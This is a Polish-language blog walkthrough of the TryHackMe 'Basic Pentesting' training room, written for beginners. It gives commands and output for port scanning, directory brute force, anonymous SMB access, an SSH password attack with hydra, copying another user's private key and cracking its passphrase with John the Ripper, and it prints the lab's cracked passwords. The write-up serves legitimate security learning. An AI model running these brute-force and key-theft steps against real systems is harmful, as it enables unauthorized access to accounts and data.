[TryHackMe] Basic Pentesting


Wstęp

Jest to pierwszy wpis poświęcony zadaniu, które będę robił na platformie tryhackme.com. Platformę polecam wszystkim tym, którzy chcą stawiać pierwsze kroki w dziedzinie CyberSecurity. Zadanie jak sama nazwa wskazuje, będzie związane z podstawami pentestingu 😉

Wszystkie polecenia podane w opisie rozwiązania, wykonałem z poziomu Linuxa (konkretnie z dystrybucji Kali).

Dostęp do platformy jest banalnie prosty (wystarczy założyć konto, sciągnąć plik konifguracyjny .ovpn i za pomocą openvpn stworzyć tunel do sieci wystawionej przez tryhackme):

$ sudo openvpn TryHackMe.ovpn

Należy zweryfikować czy połączenie zostało utworzone:

$ ip a
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none 
    inet 10.9.130.139/16 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::c0ed:2239:ef1a:83dc/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever

Jak widać na powyższym obrazku, połączenie zostało nawiązane.


Opis

In these set of tasks you'll learn the following:
    *brute forcing 
    *hash cracking 
    *service enumeration
    *Linux Enumeration

Rozwiązanie

#1 Deploy the machine and connect to our network

Klikamy na przycisk deploy:

W celu aktywacji maszyny. Po aktywacji maszyna automatycznie dostanie adres IP (w moim przypadku jest to 10.10.120.240).

#2 Find the services exposed by the machine

Do rozwiązania tego zadania skorzystałem ze znanego skanera portów nmap:

sudo nmap -A -sV -T5 -Pn -v -oN nmap/inital.nmap 10.10.120.240

Wyjaśnienie przełączników których użyłem znajdziecie w moich pierwszych wpisach: Resolute czy Cache.

Wynik który otrzymałem:

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13?
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http-proxy
| fingerprint-strings: 
|   ms-sql-s, oracle-tns: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 2243
|     Date: Wed, 14 Oct 2020 08:15:08 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 

Widzimy kilka otwartych portów. W kontekście dalszych zadań swoją uwagę skupię na porcie 80 (http), 445 (smb) oraz 22 (ssh).

#3 What is the name of the hidden directory on the web server(enter name without /)?

Aby znaleźć ukryty folder na web serwerze skorzystałem z narzędzia do tego przeznaczonego: gobuster oraz słownika common.txt:

gobuster dir -u http://10.10.120.240 -w /usr/share/wordlists/dirb/common.txt -s 200,301,302

Wynik:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.120.240
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,301,302
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/10/14 10:31:12 Starting gobuster
===============================================================
/development (Status: 301)
/index.html (Status: 200)
===============================================================
2020/10/14 10:31:29 Finished
===============================================================

Odpowiedzią na to pytanie jest ścieżka: /development.

#4 User brute-forcing to find the username & password
#5 What is the username?

Kolejne dwa pytania skupiają się na poszukiwaniu nazwy użytkownika oraz jego hasła. Zanim jednak przeszedłem do próby ataku siłowego, sprawdziłem port 445 (smb). W tym celu użyłem narzędzia smbmap:

smbmap -H 10.10.120.240
[+] Guest session   	IP: 10.10.120.240:445	Name: 10.10.120.240                                         Disk                    Permissions	Comment
----                    -----------	-------
Anonymous               READ ONLY	
IPC$                    NO ACCESS	IPC Service (Samba Server 4.3.11-Ubuntu)

Okazało się że tzw. anonimowy login jest możliwy oraz że mamy dostęp do dysku Anonymous z prawem odczytu. Nawiązałem zatem połączenie z udostępnionym zasobem używając narzędzia smbclient, następnie pobrałem plik staff.txt na komputer lokalny:

smbclient \\\\10.10.120.240\\Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 19:31:20 2018
  ..                                  D        0  Thu Apr 19 19:13:06 2018
  staff.txt                           N      173  Thu Apr 19 19:29:55 2018

		14318640 blocks of size 1024. 11094412 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (1,2 KiloBytes/sec) (average 1,2 KiloBytes/sec)
smb: \> exit

Odczytałem pobrany plik:

$ cat staff.txt
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay

Z tekstu można można wywnioskować, że mamy dwóch potencjalnych użytkowników: Jan oraz Kay. Stworzyłem plik tekstowy users.txt z tymi użytkownikami.

$ cat users.txt
Jan
Kay
jan
kay
#6 What is the password?
#7 What service do you use to access the server(answer in abbreviation in all caps)?

Następnym zadaniem jest znalezienie hasła dla któregoś z tych dwóch użytkowników. Atak słownikowy przeprowadzę narzędzie hydra. Serwis który będę atakował to ssh (jest to równocześnie odpowiedź na pytanie 7 😛 ). Użyty słownik to: rockyou.txt.

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.120.240 ssh -f -V -t 4

Wynik:

[22][ssh] host: 10.10.120.240 login: jan password: armando

Atak słownikowy zakończył się sukcesem!

#8 Enumerate the machine to find any vectors for privilege escalation
#9 What is the name of the other user you found(all lower case)?

Kolejne zadania skupiają się typowo na eskalacji uprawnień.

Zazwyczaj przy eskalacji uprawnień w systemach Linux używam skryptu LinEnum.sh, który pokazuje mi możliwe wektory ataku. Jednakże w tym przypadku to trochę jak strzelanie do muchy z armaty 😉

Zalogowałem się na maszynie poprzez ssh:

ssh jan@10.10.120.240

Następnie zajrzałem do pliku /etc/passwd, który zawiera nazwy użytkowników na maszynie. Wynik dla przejrzystości ograniczyłem do użytkowników którzy mają dostęp do powłoki bash:

jan@basic2:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
kay:x:1000:1000:Kay,,,:/home/kay:/bin/bash
jan:x:1001:1001::/home/jan:/bin/bash

Zauważyłem że kolejnym użytkownikiem jest znany już wcześniej kay.

#10 If you have found another user, what can you do with this information?

Zajrzałem do folderu domowego użytkownika kay:

jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo

W folderze znajduje się plik pass.bak do którego nie mamy dostępu. O dziwo, mamy dostęp do ukrytego folderu .ssh :0 . Zajrzyjmy do niego, prawdopodobnie znajdziemy tam klucz prywatny użytkownika kay (mam taką nadzieję 😉 ).

jan@basic2:/home/kay/.ssh$ ls -la
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23  2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub

Bingo!!! Mamy dostęp do klucza publicznego i prywatnego. Przekopiowałem zatem zawartość pliku id_rsa (klucz prywatny) na lokalną maszynę.

Nadałem uprawnienia tylko do odczytu:

chmod 400 id_rsa

Następnie użyłem go przy logowaniu się przez ssh na użytkownika kay:

$ ssh kay@10.10.120.240 -i id_rsa
load pubkey "id_rsa": invalid format
Enter passphrase for key 'id_rsa':

Hmm….. Wygląda na to, że aby użyć klucza prywatnego trzeba znać passphrase. Hasło to kontroluje dostęp do tego klucza. Aby odzyskać to hasło należy użyć skryptu pythonowego ssh2john a następnie skrakować uzyskany hash za pomocą narzędzia John The Ripper.

Zlokalizowałem skrypt na maszynie:

$ find / -type f -name ssh2john.py 2>/dev/null
/usr/share/john/ssh2john.py

Następnie użyłem go i zapisałem hash do pliku:

python ssh2john.py id_rsa > hash

Łamanie skrótu:

$ sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2020-10-14 11:58) 0.1960g/s 2812Kp/s 2812Kc/s 2812KC/sa6_123..*7¡Vamos!
Session completed

Hash został złamany. Wykorzystajmy odzysakne hasło przy logowaniu:

#11 What is the final password you obtain?

Wykorzystajmy odzysakne hasło przy logowaniu:

$ ssh kay@10.10.120.240 -i id_rsa
load pubkey "id_rsa": invalid format
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
Documentation: https://help.ubuntu.com
Management: https://landscape.canonical.com
Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

W taki oto sposób odczytałem finalne hasło i tym samym zakończyłem całą ścieżkę Basic Pentesting.


Podsumowanie:

W moim odczuciu platforma TryHackMe skupia się bardziej na poszczególnych tematykach związanych z CyberSecurity anieżeli konkurencyjna platforma HackTheBox. Rekomenduję ją szczególnie tym, ktorzy zaczynają swoją przygodę z szerokopojętym CyberSecurity 😉 . Mnogość hacktivities ktore można tam napotkać stanowi dodatkowy plus platformy, m.in. ścieżki poświęcone tematyce (Networking, Web,Windows,Forensics, Reversing, Crypto, Linux, Misc).